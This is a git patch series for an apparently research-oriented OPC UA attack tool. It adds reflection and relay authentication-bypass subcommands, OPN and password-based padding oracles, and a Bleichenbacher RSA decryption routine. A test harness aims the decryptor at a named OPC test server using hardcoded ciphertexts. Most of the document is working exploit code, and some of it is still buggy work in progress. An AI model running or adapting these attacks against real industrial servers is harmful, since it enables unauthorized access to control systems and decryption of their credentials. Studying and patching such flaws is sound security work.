0x80550000 and target_url.startswith('opc.tcp'): + raise AttackNotPossible('Security policy rejected by server. Perhaps user authentication over NONE channel is blocked.') + else: + raise err finally: if tmpsock: - tmpsock.shutdown(socket.SHUT_RDWR) + tmpsock.shutdown(SHUT_RDWR) tmpsock.close() @@ -450,7 +462,7 @@ def relay_attack(source_url : str, target_url : str): # except: # # On any misc. exception, assume the connection is broken and try again with a fresh socket. # try: -# reuse_state.sock.shutdown(socket.SHUT_RDWR) +# reuse_state.sock.shutdown(SHUT_RDWR) # reuse_state.sock.close() # except: # pass diff --git a/opcattack.py b/opcattack.py index 76e1339..b5a6995 100755 --- a/opcattack.py +++ b/opcattack.py @@ -59,6 +59,11 @@ class ReflectAttack(Attack): then copied to the ActivateSessionRequest back on the main session, taking advantage of the lack of domain separation between client and server signatures. +The default form of the attack only works against servers that support an HTTPS +endpoint. If that is not the case, you'll need to carry out an OPN forging +attack against the server first and supply its result with the --forged-opn +flag. + If the server requires user authentication on top of client authentication, the same technique is attempted to spoof a user certificate. The attack won't work if password-based authentication is required. @@ -75,10 +80,12 @@ class ReflectAttack(Attack): def add_arguments(self, aparser): aparser.add_argument('-o', '--forged-opn', type=FileType('r'), help='result of a prior opnforge attack against the server') - aparser.add_argument('-c', '--opn-cert', type=FileType('r'), - help='alternative certificate (PEM encoded) to use for the OPN handshake') - aparser.add_argument('-k', '--opn-key', type=FileType('r'), - help='private key (PEM encoded) associated with --opn-cert certificate') + # aparser.add_argument('-c', '--opn-cert', type=FileType('r'), + # help='alternative certificate (PEM encoded) to use for the OPN handshake') + # aparser.add_argument('-k', '--opn-key', type=FileType('r'), + # help='private key (PEM encoded) associated with --opn-cert certificate') + aparser.add_argument('-n', '--no-demo', action='store_true', + help='don\'t dump server contents on success; just tell if attack worked') aparser.add_argument('url', help='Target server OPC URL (either opc.tcp or https protocol)', @@ -86,7 +93,7 @@ def add_arguments(self, aparser): def execute(self, args): # TODO: OPN/cert options - reflect_attack(args.url) + reflect_attack(args.url, not args.no_demo) class RelayAttack(Attack): subcommand = 'relay' @@ -110,10 +117,12 @@ def add_arguments(self, aparser): help='result of a prior opnforge attack against either server') aparser.add_argument('-b', '--forged-opn-b', type=FileType('r'), help='in case separate forged OPN\'s need to be used for both servers, this one is used for server-b and the -o file is used for server-a') - aparser.add_argument('-c', '--opn-cert', type=FileType('r'), - help='alternative certificate (PEM encoded) to use for the OPN handshake') - aparser.add_argument('-k', '--opn-key', type=FileType('r'), - help='private key (PEM encoded) associated with --opn-cert certificate') + # aparser.add_argument('-c', '--opn-cert', type=FileType('r'), + # help='alternative certificate (PEM encoded) to use for the OPN handshake') + # aparser.add_argument('-k', '--opn-key', type=FileType('r'), + # help='private key (PEM encoded) associated with --opn-cert certificate') + aparser.add_argument('-n', '--no-demo', action='store_true', + help='don\'t dump server contents on success; just tell if attack worked') aparser.add_argument('server-a', help='OPC URL of the server of which to spoof the identity', @@ -124,7 +133,7 @@ def add_arguments(self, aparser): def execute(self, args): # TODO: OPN/cert options - relay_attack(args.server_a, args.server_b) + relay_attack(getattr(args, 'server-a'), getattr(args, 'server-b'), not args.no_demo) class SigForgeAttack(Attack): subcommand = 'sigforge' From bb9eba4c15ff5955c790e0b4bfc53e8b224aa4bf Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 12 Mar 2024 14:42:17 +0100 Subject: [PATCH 09/70] Got password-based padding oracle to work. --- attacks.py | 407 ++++++++++++++++++++++++++++++++++++---------------- crypto.py | 16 ++- messages.py | 11 +- 3 files changed, 303 insertions(+), 131 deletions(-) diff --git a/attacks.py b/attacks.py index 7d5611f..db26db2 100644 --- a/attacks.py +++ b/attacks.py @@ -11,7 +11,7 @@ from enum import Enum, auto from binascii import unhexlify -import sys, os, itertools, re +import sys, os, itertools, re, math # Logging and errors. def log(msg : str): @@ -100,19 +100,22 @@ def unencrypted_opn(sock: socket) -> ChannelState: securityPolicyUri=SecurityPolicy.NONE, senderCertificate=None, receiverCertificateThumbprint=None, - sequenceNumber=1, - requestId=1, - encryptedMessage=openSecureChannelRequest.to_bytes(openSecureChannelRequest.create( - requestHeader=simple_requestheader(), - clientProtocolVersion=0, - requestType=SecurityTokenRequestType.ISSUE, - securityMode=MessageSecurityMode.NONE, - clientNonce=None, - requestedLifetime=3600000, + encodedPart=encodedConversation.to_bytes(encodedConversation.create( + sequenceNumber=1, + requestId=1, + requestOrResponse=openSecureChannelRequest.to_bytes(openSecureChannelRequest.create( + requestHeader=simple_requestheader(), + clientProtocolVersion=0, + requestType=SecurityTokenRequestType.ISSUE, + securityMode=MessageSecurityMode.NONE, + clientNonce=None, + requestedLifetime=3600000, + )) )) )) - resp, _ = openSecureChannelResponse.from_bytes(reply.encryptedMessage) + convrep, _ = encodedConversation.from_bytes(reply.encodedPart) + resp, _ = openSecureChannelResponse.from_bytes(convrep.requestOrResponse) return ChannelState( sock=sock, channel_id=resp.securityToken.channelId, @@ -418,123 +421,283 @@ def relay_attack(source_url : str, target_url : str, demo : bool): if tmpsock: tmpsock.shutdown(SHUT_RDWR) tmpsock.close() - - - - -# @dataclass -# class PaddingOracleReuseState: -# sock : Optional[socket] = None -# counter : int = 1 -# # Returns whether an RSA ciphertext has correct padding, using a Basic128Rsa15 endpoint. -# # When possible, uses reuse_state to avoid having to repeat TCP + hello handshake for every attempt. -# # Thread-safe whenever a different reuse_state object is used for each thread. -# def query_padding_oracle( -# endpoint : endpointDescription.Type, ciphertext : bytes, reuse_state : PaddingOracleReuseState -# ) -> bool: -# assert endpoint.securityPolicyUri == SecurityPolicy.BASIC128RSA15 -# def try_open_request(): -# try: -# opc_exchange(reuse_state.sock, OpenSecureChannelMessage( -# secureChannelId=0, -# securityPolicyUri=SecurityPolicy.BASIC128RSA15, -# senderCertificate=endpoint.serverCertificate, -# receiverCertificateThumbprint=certificate_thumbprint(endpoint.serverCertificate), -# sequenceNumber=reuse_state.counter, -# requestId=reuse_state.counter, -# encryptedMessage=ciphertext -# )) -# return True -# except ServerError as err: -# if err.errorcode == ....: -# return True -# elif err.errorcode == ....: -# return False -# else: -# raise err - -# done = False -# if reuse_state.sock: -# try: -# padresult = try_open_request() -# done = True -# except: -# # On any misc. exception, assume the connection is broken and try again with a fresh socket. -# try: -# reuse_state.sock.shutdown(SHUT_RDWR) -# reuse_state.sock.close() -# except: -# pass - -# if not done: -# reuse_state.sock = connect_and_hello(*parse_endpoint_url(endpoint.endpointUrl)) -# reuse_state.counter = 1 -# padresult = try_open_request() +class PaddingOracle(ABC): + def __init__(self, endpoint : endpointDescription.Type): + self._endpoint = endpoint + self._active = False + + @abstractmethod + def _setup(self): + ... + + @abstractmethod + def _cleanup(self): + ... + + @abstractmethod + def _attempt_query(self, ciphertext : bool) -> bool: + ... + + # Pick an applicable and preferred endpoint. + @classmethod + @abstractmethod + def pick_endpoint(clazz, endpoints : List[endpointDescription.Type]) -> Optional[endpointDescription.Type]: + ... + + def query(self, ciphertext : bytes): + if self._active: + try: + return self._attempt_query(ciphertext) + except: + # On any misc. exception, assume the connection is broken and reset it. + try: + self.cleanup() + except: + pass + + self._setup() + self._active = True + return self._attempt_query(ciphertext) + +class OPNPaddingOracle(PaddingOracle): + def _setup(self): + proto, host, port = parse_endpoint_url(self._endpoint.endpointUrl) + assert proto == TransportProtocol.TCP_BINARY + self._socket = connect_and_hello(host, port) + self._msg = OpenSecureChannelMessage( + secureChannelId=0, + securityPolicyUri=SecurityPolicy.BASIC128RSA15, + senderCertificate=self._endpoint.serverCertificate, + receiverCertificateThumbprint=certificate_thumbprint(self._endpoint.serverCertificate), + encodedPart=b'' + ) + + def _cleanup(self): + self._socket.shutdown(SHUT_RDWR) + self._socket.close() + + def _attempt_query(self, ciphertext): + try: + self._msg.encodedPart = ciphertext + opc_exchange(self._socket, self._msg) + return True + except ServerError as err: + # print(hex(err.errorcode)) + if err.errorcode == 0x80580000: + return True + elif err.errorcode == 0x80130000: + return False + else: + raise err -# reuse_state.counter += 1 -# return padresult + @classmethod + def pick_endpoint(clazz, endpoints): + for endpoint in endpoints: + if endpoint.securityPolicyUri == SecurityPolicy.BASIC128RSA15 and endpoint.transportProfileUri.endswith('uatcp-uasc-uabinary'): + #TODO: padding oracle over HTTPS + return endpoint + + return None + +class PasswordPaddingOracle(PaddingOracle): + @classmethod + def _preferred_tokenpolicy(_, endpoint): + policies = sorted(endpoint.userIdentityTokens, reverse=True, + key=lambda t: ( + t.tokenType == UserTokenType.USERNAME, + t.securityPolicyUri == SecurityPolicy.BASIC128RSA15, + t.securityPolicyUri is None or t.securityPolicyUri == SecurityPolicy.NONE, + ) + ) + + if policies and policies[0].tokenType == UserTokenType.USERNAME: + return policies[0] + + + def __init__(self, endpoint): + super().__init__(endpoint) + self._policyId = self._preferred_tokenpolicy(endpoint).policyId + + def _setup(self): + proto, host, port = parse_endpoint_url(self._endpoint.endpointUrl) + if proto == TransportProtocol.TCP_BINARY: + sock = connect_and_hello(host, port) + self._chan = unencrypted_opn(sock) + else: + assert proto == TransportProtocol.HTTPS + self._chan = self._endpoint.endpointUrl + + # Just reflect session data during CreateSession. + sresp = generic_exchange(self._chan, SecurityPolicy.NONE, createSessionRequest, createSessionResponse, + requestHeader=simple_requestheader(), + clientDescription=self._endpoint.server, + serverUri=self._endpoint.server.applicationUri, + endpointUrl=self._endpoint.endpointUrl, + sessionName=None, + clientNonce=os.urandom(32), + clientCertificate=self._endpoint.serverCertificate, + requestedSessionTimeout=600000, + maxResponseMessageSize=2**24, + ) + self._header = simple_requestheader(sresp.authenticationToken) + + def _cleanup(self): + if type(self._chan) == ChannelState: + self._chan.sock.shutdown(SHUT_RDWR) + self._chan.sock.close() -# # Carry out a padding oracle attack against a Basic128Rsa15 endpoint. -# # Result is ciphertext**d mod n; can also be used for signature forging. -# def rsa_decryptor(endpoint : endpointDescription.Type, ciphertext : bytes): -# # Bleicehnacher's original attack: https://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf + def _attempt_query(self, ciphertext): + token = userNameIdentityToken.create( + policyId=self._policyId, + userName='admin', # User probably does not need to exist; otherwise this is a likely guess + password=ciphertext, + encryptionAlgorithm='http://www.w3.org/2001/04/xmlenc#rsa-1_5', + ) + + try: + generic_exchange(self._chan, SecurityPolicy.NONE, activateSessionRequest, activateSessionResponse, + requestHeader=self._header, + clientSignature=signatureData.create(algorithm=None, signature=None), + clientSoftwareCertificates=[], + localeIds=[], + userIdentityToken=token, + userTokenSignature=signatureData.create(algorithm=None, signature=None), + ) + return True + except ServerError as err: + print(hex(err.errorcode)) + if err.errorcode == 0x80200000: + return False + elif err.errorcode == 0x80210000 or err.errorcode == 0x801f0000 or err.errorcode == 0x80b00000: + return True + else: + raise err + + @classmethod + def pick_endpoint(clazz, endpoints): + # Only works with None security policy and password login support. + options = [ep + for ep in endpoints if ep.securityPolicyUri == SecurityPolicy.NONE and \ + any(t.tokenType == UserTokenType.USERNAME for t in ep.userIdentityTokens) + ] + + if not options: + return None + + # Prefer endpoints that actually advertise PKCS#1 (if not, they may still accept it). + # Otherwise, prefer None over OAEP (upgrade more likely accepted than downgrade). + # Security policies being equal, prefer binary transport. + return max(options, + key=lambda ep: ( + clazz._preferred_tokenpolicy(ep).securityPolicyUri == SecurityPolicy.BASIC128RSA15, + clazz._preferred_tokenpolicy(ep).securityPolicyUri in [None, SecurityPolicy.NONE], + ep.transportProfileUri.endswith('uatcp-uasc-uabinary') + ) + ) -# clen = len(ciphertext) -# assert clen % 128 == 0 # Probably not an RSA ciphertext if the key size is not a multiple of 1024 bits. -# k = clen * 8 + +def oracletest(): + # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248ceeb5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') + # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248cee') + ctext1 = unhexlify('b5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') + ctext2 = os.urandom(len(ctext1)) + ep = PasswordPaddingOracle.pick_endpoint(get_endpoints('opc.tcp://opc-testserver:62541/Quickstarts/ReferenceServer')) + assert ep -# # Ciphertext as integer. -# c = 0 -# for by in ciphertext: -# c *= 256 -# c += by - -# # Extract public key from the endpoint certificate. -# n, e = certificate_rsakey(endpoint.serverCertificate) + print(repr(PasswordPaddingOracle(ep).query(ctext1))) + print(repr(PasswordPaddingOracle(ep).query(ctext2))) + # OPNPaddingOracle(ep).query(ctext1) + # OPNPaddingOracle(ep).query(ctext2) -# # B encodes as 00 01 00 00 00 .. 00 00 -# B = 2**(k-16) - -# # Oracle function. -# rstate = PaddingOracleReuseState() -# def query(candidate): -# # Encode int as bigendian binary to submit it to the oracle. -# cand_bytes = [0] * clen -# j = candidate -# for ix in reverse(range(0, clen)): -# cand_bytes[ix] = j % 256 -# j /= 256 -# assert j == 0 -# return query_padding_oracle(endpoint, cand_bytes, rstate) - -# # Step 1: blinding. Find a random blind that makes the padding valid. Searching can be skipped if the ciphertext -# # already has valid padding. -# if query(c): -# s0 = 1 -# c0 = c -# else: -# for _ in range(1, MAX_PADDINGORACLE_ITERATIONS): -# s0 = randint(1, 2**k) -# c0 = c * pow(s0, e, n) % n -# if query(c0): -# break +# Carry out a padding oracle attack against a Basic128Rsa15 endpoint. +# Result is ciphertext**d mod n (encoded big endian; any padding not removed). +# Can also be used for signature forging. +def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : bytes) -> bytes: + # Bleicehnacher's original attack: https://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf + clen = len(ciphertext) + assert clen % 128 == 0 # Probably not an RSA ciphertext if the key size is not a multiple of 1024 bits. + k = clen * 8 -# intervals = [(2 * B, 3 * B - 1)] + # Ciphertext as integer. + c = 0 + for by in ciphertext: + c *= 256 + c += by + + # Extract public key from the endpoint certificate. + n, e = certificate_rsakey(certificate) -# for i in range(1, MAX_PADDINGORACLE_ITERATIONS): -# # Step 2: searching for PKCS#1 conforming messages. -# if i == 1: -# s = n // (3*B) + (1 if n % (3*B) else 0) -# while not query(c0 * pow(s0, e, n) % n): -# s += 1 -# elif len(intervals) > 1: -# s += 1 -# while not query(c0 * pow(s0, e, n) % n): -# s += 1 -# else: -# [(a, b)] = intervals -# rstart = (2 * b * s - 2 * B) // n + 1 -# .... + # B encodes as 00 01 00 00 00 .. 00 00 + B = 2**(k-16) + + # Oracle function. + def query(candidate): + # Encode int as bigendian binary to submit it to the oracle. + cand_bytes = [0] * clen + j = candidate + for ix in reverse(range(0, clen)): + cand_bytes[ix] = j % 256 + j /= 256 + assert j == 0 + return oracle.query(cand_bytes) + + # Division helper. + ceildiv = lambda a,b: a // b + (a % b and 1) + + # Step 1: blinding. Find a random blind that makes the padding valid. Searching can be skipped if the ciphertext + # already has valid padding. + if query(c): + s0 = 1 + c0 = c + else: + while True: + s0 = randint(1, n) + c0 = c * pow(s0, e, n) % n + if query(c0): + break - \ No newline at end of file + test_factor = lambda sval: query(c0 * pow(sval, e, n) % n) + + M_i = {(2 * B, 3 * B - 1)} + + while True: + # Step 2: searching for PKCS#1 conforming messages. + if i == 1: + # 2a: starting the search. + s_i = n // (3*B) + (1 if n % (3*B) else 0) + while not test_factor(s_i): + s_i += 1 + elif len(M_i) > 1: + # 2b: searching with more than one interval left + s_i += 1 + while not test_factor(s_i): + s_i += 1 + else: + # 2c: searching with one interval left + (a, b) = next(iter(M_i)) + r_i = ceildiv(2 * b * s_i - 2 * B, n) + done = False + while not done: + for new_s in range(ceildiv(2 * B + r_i * n, b), (3 * B + r_i * n) // a): + if test_factor(new_s): + s_i = new_s + done = True + break + r_i += 1 + + # Step 3: Narrowing the set of solutions. + M_i = { + (max(a, ceildiv(2*B+r*n, s_i)), min(b, (3*B-1+r*n) // s_i)) + for a, b in M_i + for r in range(ceildiv(a*s_i-3*B+1, n), (b*s_i-2*B) // n + 1) + } + + # Step 4: Computing the solution. + if len(M_i) == 1: + a, b = next(iter(M_i)) + if a == b: + m = a * pow(s0, n - 2, n) % n + return [(m >> bits) & 0xff for bits in reversed(range(0, k, 8))] + + i += 1 diff --git a/crypto.py b/crypto.py index 6494527..502d48c 100644 --- a/crypto.py +++ b/crypto.py @@ -6,6 +6,8 @@ from Crypto.Cipher import PKCS1_v1_5, PKCS1_OAEP, AES from Crypto.Util.Padding import pad, unpad +from OpenSSL import crypto + import hmac, hashlib # Asymmetric stuff for OPN messages, authentication signatures and passwords. @@ -149,10 +151,12 @@ def macsize(policy : SecurityPolicy) -> int: SecurityPolicy.AES256_SHA256_RSAPSS : 32, }[policy] -# def certificate_thumbprint(cert : bytes) -> bytes: -# # Computes a certificate thumbprint as used in the protocol. -# .... # TODO +def certificate_thumbprint(cert : bytes) -> bytes: + # Computes a certificate thumbprint as used in the protocol. + return hashlib.new('sha1', cert).digest() -# def certificate_rsakey(cert : bytes) -> (int, int): -# # Extracts and parses an RSA public key from a certificate, as (m, e) integers. -# .... # TODO \ No newline at end of file +def certificate_rsakey(cert : bytes) -> tuple[int, int]: + # Extracts and parses an RSA public key from a certificate, as (m, e) integers. + numbers = crypto.load_certificate(crypto.FILETYPE_ASN1, cert).PKey().to_cryptography_key().public_numbers() + return numbers.n, numbers.e + diff --git a/messages.py b/messages.py index b14259d..6d6158e 100644 --- a/messages.py +++ b/messages.py @@ -112,9 +112,7 @@ class OpenSecureChannelMessage(OpcMessage): ('securityPolicyUri', SecurityPolicyField()), ('senderCertificate', ByteStringField()), ('receiverCertificateThumbprint', ByteStringField()), - ('sequenceNumber', IntField()), - ('requestId', IntField()), - ('encryptedMessage', TrailingBytes()), + ('encodedPart', TrailingBytes()), ] class ConversationMessage(OpcMessage): @@ -375,6 +373,13 @@ class NodeClass(IntEnum): ('policyId', StringField()), ]) +userNameIdentityToken = ExtensionObjectField.register('UserNameIdentityToken', 324, [ + ('policyId', StringField()), + ('userName', StringField()), + ('password', ByteStringField()), + ('encryptionAlgorithm', StringField()), +]) + x509IdentityToken = ExtensionObjectField.register('X509IdentityToken', 327, [ ('policyId', StringField()), ('certificateData', ByteStringField()), From 348c59c5cd2a27e80fc437c4b89ff45bf6335393 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 13 Mar 2024 09:51:54 +0100 Subject: [PATCH 10/70] Ready for oracle test. --- attacks.py | 52 +++++++++++++++++++++++++++++++++++++--------------- crypto.py | 2 +- 2 files changed, 38 insertions(+), 16 deletions(-) diff --git a/attacks.py b/attacks.py index db26db2..d970ff7 100644 --- a/attacks.py +++ b/attacks.py @@ -9,7 +9,7 @@ from socket import socket, create_connection, SHUT_RDWR from random import randint from enum import Enum, auto -from binascii import unhexlify +from binascii import hexlify, unhexlify import sys, os, itertools, re, math @@ -452,7 +452,7 @@ def query(self, ciphertext : bytes): except: # On any misc. exception, assume the connection is broken and reset it. try: - self.cleanup() + self._cleanup() except: pass @@ -566,10 +566,12 @@ def _attempt_query(self, ciphertext): ) return True except ServerError as err: - print(hex(err.errorcode)) + # print(hex(err.errorcode)) if err.errorcode == 0x80200000: + print('.', end='', file=sys.stderr, flush=True) return False elif err.errorcode == 0x80210000 or err.errorcode == 0x801f0000 or err.errorcode == 0x80b00000: + print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!', end='', file=sys.stderr, flush=True) return True else: raise err @@ -596,23 +598,26 @@ def pick_endpoint(clazz, endpoints): ) ) +#step 2; i=3; s_i=410837; M_i={(1153751527992975464237774060619969949912458190650909851483381942369834145900432967780253361738716396891256027627993321927649573343620075903924187294302056663120792892598158194754406693968861688508447570803862508562104063187266647074469490917302473904520599258701264093712296083790175384802988106233950247605853944047369442356488167309377731357777104738935539724738155113544501330219189321279575030321708982688092274434968662691635063675118845569101908319325125976512011482484437045483552156154269468675589802561323784232303710574612017266267635692639890890839874253240244894189146156097931822340104542956443340894, 1153751550936217098416146654328715567071782234980477874221865320445405290860058627120473414544080421702645164186480499673194319234902616742259350859391199443536479506700783057695047610312653741271379738121676962291424914843680292720155497113842939814207831197452900196818462148683299308956961091015862254839131319915338129185031099532457100825366437307292904124088500256300789720256955890896876756617374603674331846217755539307634222232631733992282692225554423478557494928836227402883514208620783580921344797936482819389064351122100033113926214967982492539416315279169624255671265426139760434735722123582493392098), (1442187338184767745264252953775810510222049417037065628878787851831596947441874488336569202706635456864580211569674687214553007930496307624964046851991882592870550385293650731137081862343186722781448862222191231512666819881085353338153634019145550916643932675588442380251218536552968801538838096941698707408093800039873090898704432885981374875995394957826030742884318739511328307394410790250087218831983890113921705079217347533785769171253146427606835887048319233522393593448149040461462449662762309443414226332274411081566733570264890122410609819004840697712493266117732403382987192306565764806304367723294058353, 1442188538462198389696213161853001338003579918001940893963670022531688185232273800087439240120044068443852350805918080001375802852286000940884127836133092142327721241340695354555211948370404124957320753896422643713589290551665360516462626803807335974424422002004261160692280907582200421343045677986343913774276857099472845517324113760032804107831195915706087549870779642862561931924001689319235062797546384101917763760918534162789774096702587034890566969845296441907807917789369162257422627441743547562423809811319618598574565188756405133837557756703854970031293742028759784072184101088357066871074817297478447935)} def oracletest(): # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248ceeb5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248cee') - ctext1 = unhexlify('b5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') - ctext2 = os.urandom(len(ctext1)) + # ctext4 = unhexlify('8ba5227fca2967b591530cc68686ec123e3dafa63befc1841017be6a916abdfa7a947279b5426c300416e687029d1c8454044c3dfb96d8503f57cf3ef2817d56e7cbb77fe0446a752992e8eb9518cd7805af048e7083e49874180b0796ee0beed209bf3279b0f7405225f91aa33885571a973486b305c6f89c0a6d0d3e03f3632fce9ca12976c7ae4d7c0cf8ac0946ecb2d7072375ba35831fb3348dbddaa6c181342a6479619623d22faa0acc19fc0c26a86fa3ab834a4dd3cf7e661e809de3d5527e3d65cf1ee83112403e72920c741f5801e00db687f0fa1bc4651f65f5d69a0740058318c78691feed34898fc84ec40b72f34a2495b1ac857e3cd84861cb') + # ctext1 = unhexlify('b5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') + # ctext2 = os.urandom(len(ctext1)) + + todecrypt = unhexlify('9e82001c5a9b0d4ec8ed921af69659d8a3c8909bdb3be7bbf2f09a2321256deda98779fe8c182f476b06cf9592f2974b93a04fdbce82db34c2985c59ab71cce0f0987a35f2a4e0958411d40de4073ba00d223e5332ecaab0d5a850a1c97610cb2e42c7675d6a8eb3319ba95aabbed51014687bdf0edd417b47df2b4f348b6539ed1aa7bae5a4bd76ffe475a6d0ea54e51399996485c582615f55296411417f7c6db5aa8796653c47e503a00ce72a7e96e7c69ac52f5f200153cb585c6dc4119962ac004433da24f2347e75ee5fda60b507fde6c9197ad7f0aca65f3b6f91b51c8b0b501549aa10368ae7c4a2e2aeee1bb81bff8e3e6a9be7aa09b999ac641bc7') ep = PasswordPaddingOracle.pick_endpoint(get_endpoints('opc.tcp://opc-testserver:62541/Quickstarts/ReferenceServer')) assert ep - - print(repr(PasswordPaddingOracle(ep).query(ctext1))) - print(repr(PasswordPaddingOracle(ep).query(ctext2))) - # OPNPaddingOracle(ep).query(ctext1) - # OPNPaddingOracle(ep).query(ctext2) + oracle = PasswordPaddingOracle(ep) + # print(repr(oracle.query(todecrypt))) + print(hexlify(rsa_decryptor(oracle, ep.serverCertificate, todecrypt))) # Carry out a padding oracle attack against a Basic128Rsa15 endpoint. # Result is ciphertext**d mod n (encoded big endian; any padding not removed). # Can also be used for signature forging. +# Maybe TODO: optimizations from https://eprint.iacr.org/2012/417.pdf def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : bytes) -> bytes: # Bleicehnacher's original attack: https://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf clen = len(ciphertext) @@ -636,17 +641,18 @@ def query(candidate): # Encode int as bigendian binary to submit it to the oracle. cand_bytes = [0] * clen j = candidate - for ix in reverse(range(0, clen)): + for ix in reversed(range(0, clen)): 